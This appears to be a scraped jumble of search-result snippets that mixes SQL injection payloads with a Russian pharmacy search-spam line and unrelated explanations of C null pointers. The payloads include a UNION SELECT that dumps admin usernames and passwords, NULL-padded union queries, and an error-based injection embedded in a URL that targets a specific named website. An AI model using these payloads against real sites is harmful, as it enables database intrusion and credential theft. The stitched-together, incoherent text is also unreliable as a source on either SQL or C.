-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it...
Синтаксис: 0xHEX_ЧИСЛО (SM): SELECT CHAR(0x66) (S) SELECT 0x5045 (это не
999999.9' union all select 999,2 and '0'='0 где купить в аптеках, Поиск и заказ лекарств в аптеках Санкт-Петербурга и Ленинградской области онлайн, бронирование и доставка лекарств.
...NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT%28version
http://www.compagniaperlamusica.com/iniziativa.php?id=(select+1+from(select+count(*),concat((select(select+concat(0x3d7e3d
It should be noted that NULL pointer is different from an uninitialized and dangling pointer.
You can use as many apostrophes and quotations as you want as long as they pair up.
A null pointer constant, when used in a context that requires a pointer, may be implicitly converted to a pointer value; the result is a null pointer. It may also be explicitly converted using a cast, such as (int*)NULL. But there's no requirement that an expression that...